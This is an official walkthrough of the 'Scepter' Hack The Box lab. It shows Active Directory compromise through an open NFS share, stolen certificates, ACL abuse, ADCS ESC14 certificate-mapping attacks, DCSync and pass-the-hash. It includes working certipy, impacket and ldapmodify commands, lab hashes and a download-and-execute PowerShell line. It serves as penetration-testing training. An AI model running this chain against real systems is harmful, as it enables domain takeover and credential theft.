Scepter
Scepter
Difficulty: Hard
Classification: Official
Synopsis
Scepter is a hard difficulty Windows machine that starts with an unauthenticated NFS share,
allowing the attacker to download a sensitive PFX certificate file. The attacker then discovers that
the compromised user has the User-Force-Change-Password ACL, allowing the password for the
A.CARTER user account to be changed. The user account is a member of IT SUPPORT, enabling
group members to have GenericAll ACL to the STAFF ACCESS CERTIFICATE Organisational Unit
(OU). The attacker can then fully control all user accounts under the OU. Besides, the attacker
discovers that the Certificate Authority is vulnerable to ESC14, explicit weak mapping. The attacker
manages to compromise H.BROWN by modifying the mail LDAP attribute and requesting the
StaffAccessCertificate certificate template. The H.BROWN user account is a member of the CMS
group, having privileges to alter the altSecurityIdentities LDAP Attribute of any AD object
under the Helpdesk Enrollment Certificate OU. As the CA is vulnerable to ESC14, the attacker
can modify the LDAP attribute (Strong mapping, i.e., X509IssuerSerialNumber ) and request a
certificate as Domain Computer to compromise the P.ADAMS user account, who has DCSync
privileges, allowing the attacker to compromise the domain. An alternate approach is to exploit
the weak mapping X509RFC822 , then enrolling the certificate template as the D.BAKER user
account and compromising the P.ADAMS user account.
Skills Required
Basic Active Directory enumeration
Enumeration
Nmap
# ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.65 | grep ^[0-9] | cut -d '/'
-f 1 | tr '\n' ',' | sed s/,$//)
# nmap -Pn -p$ports -sC -sV 10.10.11.65
We know we are dealing with a domain controller from the Nmap scan, as Kerberos, DNS, and
LDAP services are running. In addition to those services, we also have NFS on port 2049. We can
view the accessible shares, mount any NFS shares, and analyse the content of those files.
NFS Enumeration
# showmount -e 10.10.11.65
Export list for 10.10.11.65:
/helpdesk (everyone)
The helpdesk NFS share is accessible to everyone, and we can mount it.
# mkdir Mount
# sudo mount -t nfs -o rw,vers=3 10.10.11.65:/helpdesk Mount;
# sudo ls Mount/
baker.crt baker.key clark.pfx lewis.pfx scott.pfx
The mounted share has PFX for three users, a private key, and a certificate for the baker user. We
can crack the PFX password and try to authenticate to the domain:
We have the clear-text key. To authenticate to the domain, we must use certipy to export the PFX
without a password and use the unprotected one.
Executing certipy with the unprotected PFX throws an error. The domain generally throws an error
KDC_ERR_CLIENT_REVOKED when the user is disabled or the certificate is revoked.
# cat baker.crt
Bag Attributes
friendlyName:
localKeyID: DC 2B 20 65 C3 0D 91 40 E8 37 B5 CC 06 0F EA 66 5D 3B 7C 4E
subject=DC=htb, DC=scepter, CN=Users, CN=d.baker,
emailAddress=d.baker@scepter.htb
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
[...SNIP...]
We can also try to build a PFX for the baker user. To start, we must decrypt the encrypted private
key. The password we cracked for PFX ( newpassword ) also works for the encrypted private key.
Once the decrypted key is written to the disk, we can merge the private and certificate key to use it
to craft the final PFX (PKCS12).
Note, we keep the password blank; if we enter a password and make an encrypted PFX, we again
need to use certipy to unprotect the PFX. Once the PFX file is ready, we will use it with certipy.
The domain accepts the authentication, and certify recovers the RC4 hash for the D.BAKER
user.
Lateral Movement
Now that we have a set of valid domain credentials, we can run Bloodhound to map all the
relations between all AD objects.
The D.BAKER user account has a ForceChangePassword ACL set over the A.CARTER user account,
allowing us to change and compromise the password. The user account is also a member of the
IT SUPPORT group, which has a GenericAll ACL over the STAFF ACCESS CERTIFICATE
Organisational Unit.
Ultimately, the D.BAKER user account is a descendant user object in the STAFF ACCESS
CERTIFICATE OU. We can gain complete control over it as the D.BAKER user account.
We will run Certipy to dump details about the CA and all certificate templates.
[...SNIP...]
1
Template Name : StaffAccessCertificate
Display Name : StaffAccessCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireEmail
SubjectRequireDnsAsCn
SubjectRequireEmail
Enrollment Flag : AutoEnrollment
NoSecurityExtension
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-01T02:29:00+00:00
Template Last Modified : 2024-11-01T09:00:54+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\staff
Object Control Permissions
Owner : SCEPTER.HTB\Enterprise Admins
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Local System
SCEPTER.HTB\Enterprise Admins
[+] User Enrollable Principals : SCEPTER.HTB\staff
From Certipy's output, we can see that the D.BAKER user account is a member of the Staff
group, and we can enrol the StaffAccessCertificate certificate template. The template has the
SubjectAltRequireEmail Certificate Name Flag and the NoSecurityExtension Enrollment Flag.
Before the KB5014754 hotfix, the StrongCertificateBindingEnforcement is set to 1.
Alongside, we will also enumerate all users using ldapsearch ; we cannot use RC4 encryption
directly, so we will request a Kerberos ticket and use it with ldapsearch . We need to create a krb5
configuration file and export it to its appropriate environment variable called KRB5_CONFIG, and
we also have to export the ticket.
# cat Scepter.conf
[libdefaults]
default_realm = SCEPTER.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
SCEPTER.HTB = {
kdc = dc01.scepter.htb
admin_server = dc01.scepter.htb
}
[domain_realm]
.scepter.htb = SCEPTER.HTB
scepter.htb = SCEPTER.HTB
# export KRB5_CONFIG=Scepter.conf
Once the configuration file is created, we will request a TGT using RC4 encryption.
# ktutil
ktutil: addent -p d.baker -k 1 -key -e rc4-hmac
Key for d.baker@SCEPTER.HTB (hex): 18b5fb0d99e7a475316213c15b6f22ce
ktutil: wkt /tmp/d.baker.keytab
ktutil: exit
# kinit -V -k -t /tmp/d.baker.keytab -f 'd.baker'
Using default cache: /tmp/krb5cc_1001
Using principal: d.baker@SCEPTER.HTB
Using keytab: /tmp/d.baker.keytab
Authenticated to Kerberos v5
# klist
Ticket cache: FILE:/tmp/krb5cc_1001
Default principal: d.baker@SCEPTER.HTB
Once the ticket is exported, we can verify using ldapwhoami and smbclient.
[...SNIP...]
dn: CN=h.brown,CN=Users,DC=scepter,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: h.brown
givenName: h.brown
distinguishedName: CN=h.brown,CN=Users,DC=scepter,DC=htb
instanceType: 4
whenCreated: 20241031224001.0Z
whenChanged: 20250307221911.0Z
displayName: h.brown
uSNCreated: 16443
memberOf: CN=CMS,CN=Users,DC=scepter,DC=htb
memberOf: CN=Helpdesk Admins,CN=Users,DC=scepter,DC=htb
memberOf: CN=Protected Users,CN=Users,DC=scepter,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=scepter,DC=htb
[...SNIP...]
userPrincipalName: h.brown@scepter.htb
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=scepter,DC=htb
altSecurityIdentities: X509:<RFC822>h.brown@scepter.htb
[...SNIP...]
# refldap://ForestDnsZones.scepter.htb/DC=ForestDnsZones,DC=scepter,DC=htb
# refldap://DomainDnsZones.scepter.htb/DC=DomainDnsZones,DC=scepter,DC=htb
# refldap://scepter.htb/CN=Configuration,DC=scepter,DC=htb
The output shows that the H.BROWN user account is a member of Protected Users, Remote
Management Users, and two non-default groups, CMS and Helpdesk Admins. The important
thing here is the altSecurityIdentities LDAP attribute, which is mapped to X509:
<RFC822>h.brown@scepter.htb, which now makes the H.BROWN user account our target.
The attacker can modify D.BAKER user account's mail LDAP attribute.
All five points combined make it vulnerable to the ESC14 attack. To compromise the H.BROWN user
account, we will start with Bloodhound's attack path to gain complete control over the D.BAKER
user account. We will begin by changing the A.CARTER user account's password.
Once the password is changed, we will exploit GenericAll ACL over the STAFF ACCESS
CERTIFICATE OU to fully control all descendant objects under that OU as either d.baker or
a.carter user.
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent
container/OU
[*] DACL backed up to dacledit-20250706-022941.bak
[*] DACL modified successfully!
After the command is executed, d.baker should have complete control of the d.baker user, and
now we will modify the mail LDAP attribute of the d.baker user account and set it to the
h.brown user account.
# cat modify_email.ldif
dn: CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb
changetype: modify
replace: mail
mail: h.brown@scepter.htb
We will use ldapsearch and check the mail attribute to verify if the changes are pushed.
[...SNIP...]
[...SNIP...]
As we used kinit to request a ticket, Certipy will complain about the KRB5CCNAME variable. We
need to export it before using Certipy.
# export KRB5CCNAME=/tmp/krb5cc_1001
# certipy req -u d.baker@scepter.htb -k -ca SCEPTER-DC01-CA -template
"StaffAccessCertificate" -target dc01.scepter.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Now that the certificate and private key have been written to disk, we will use them to request a
TGT for the H.BROWN user account.
# certipy auth -pfx d.baker.pfx -domain scepter.htb -username h.brown -dc-ip
10.10.11.65
Certipy v5.0.3 - by Oliver Lyak (ly4k)
We cannot directly use the RC4 to get a WinRM session, as the user is a member of the Protected
User. We will need to export the TGT and WinRM.
Privilege Escalation
Our previous enumeration shows that the H.BROWN user is a member of two non-default groups:
Helpdesk Admins and CMS. We can use netexec to enumerate any potential ACLs, which
Bloodhound does not cover.
The Helpdesk Admins group has no ACL over the Helpdesk Enrollment Certificate
organisational unit; however, CMS does have Alt-Security-Identities ACL over any
descendant AD objects under the OU; this is yet again ESC14, as we can modify the
altSecurityIdentities LDAP attribute, and those CA configurations we discussed earlier. The
OU only contains one descendant user account, which is P.ADAMS.
There are now multiple ways of abusing the scenario. We will cover two techniques:
0
Template Name : HelpdeskEnrollmentCertificate
Display Name : HelpdeskEnrollmentCertificate
Certificate Authorities : scepter-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireDnsAsCn
Enrollment Flag : AutoEnrollment
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 99 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-01T03:42:58+00:00
Template Last Modified : 2024-11-01T03:43:09+00:00
Permissions
Enrollment Permissions
Enrollment Rights : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Domain Computers
SCEPTER.HTB\Enterprise Admins
Object Control Permissions
Owner : SCEPTER.HTB\Administrator
Full Control Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
Write Owner Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
Write Dacl Principals : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Enterprise Admins
Write Property Enroll : SCEPTER.HTB\Domain Admins
SCEPTER.HTB\Domain Computers
SCEPTER.HTB\Enterprise Admins
[+] User Enrollable Principals : SCEPTER.HTB\Domain Computers
Any Domain Computer is allowed and configured to enroll in it. But MachineAccountQuota is set
to 0.
Going back through all the ACLs, we have a GenericAll ACL over the STAFF ACCESS CERTIFICATE
OU. We can add a computer object to that OU.
# impacket-addcomputer scepter.htb/A.CARTER:'Password1!' -dc-host
dc01.scepter.htb -method LDAPS -computer-name 'PWN_PC' -computer-pass
'rSMJWvBeyAtjThZk!' -computer-group "OU=STAFF ACCESS
CERTIFICATE,DC=SCEPTER,DC=HTB"
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
To perform the X509IssuerSerialNumber attack, we will need the Serial Number and Issuer of the
enrolled certificate template. We can retrieve it using openssl.
# openssl pkcs12 -in pwn_pc.pfx -nokeys -nodes | openssl x509 -noout -serial -
issuer
Enter Import Password:
serial=62000000043D0A6E406BD7828F000000000004
issuer=DC=htb, DC=scepter, CN=scepter-DC01-CA
We will need the Issuer DN and Serial number in the correct format, which is:
X509:<I>{REVERSED_ISSUER}<SR>{REVERSED_SERIAL_NUMBER}
serial_number = "62000000043D0A6E406BD7828F000000000004"
issuer_dn = "CN=scepter-DC01-CA,DC=scepter,DC=htb"
issuer_components = issuer_dn.split(',')
reversed_issuer = ','.join(issuer_components[::-1])
print(f"X509:<I>{reversed_issuer}<SR>{reversed_serial}")
# pwsh
> iex(iwr -uri
https://raw.githubusercontent.com/JonasBK/Powershell/refs/heads/master/Get-
X509IssuerSerialNumberFormat.ps1 -usebasicparsing)
X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-
CA<SR>0400000000008F82D76B406E0A3D0400000062
Once we have it in the correct format, we will modify the altSecurityIdentities LDAP attribute
of the P.ADAMS user account and use the PWN_PC$ enrolled certificate template to request a TGT
as the P.ADAMS user account.
# cat modify_altSecurityIdentities.ldif
dn: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=SCEPTER,DC=HTB
changetype: modify
replace: altSecurityIdentities
altSecurityIdentities: X509:<I>DC=htb,DC=scepter,CN=scepter-DC01-
CA<SR>0400000000008F82D76B406E0A3D0400000062
We have successfully compromised the P.ADAMS user account. Bloodhound shows that the user is
capable of performing the DCSync attack on the domain.
# impacket-secretsdump -hashes
aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
scepter.htb/p.adams@scepter.htb -just-dc-user Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Once we have the RC4 hash for the administrator, we can use WinRM .
*Evil-WinRM* PS C:\Users\Administrator\Documents>
We start by modifying the altSecurityIdentities LDAP attribute as the H.BROWN user and
changing it to X509:<RFC822>p.adams@scepter.htb
# cat modify_altSecurityIdentities.ldif
dn: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=SCEPTER,DC=HTB
changetype: modify
replace: altSecurityIdentities
altSecurityIdentities: X509:<RFC822>p.adams@scepter.htb
Once modified, we will change the mail LDAP attribute of the D.BAKER user account, just like we
did for the H.BROWN user account.
# cat modify_email_p.adams.ldif
dn: CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb
changetype: modify
replace: mail
mail: p.adams@scepter.htb
Now that mail and altSecurityIdentities LDAP attributes have been modified for the
D.BAKER and P.ADAMS user accounts, we will request the StaffAccessCertificate certificate
template.
# certipy req -u d.baker@scepter.htb -k -ca SCEPTER-DC01-CA -template
"StaffAccessCertificate" -target dc01.scepter.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
Now request TGT for the P.ADAMS user account in the same way we did for H.BROWN user
account.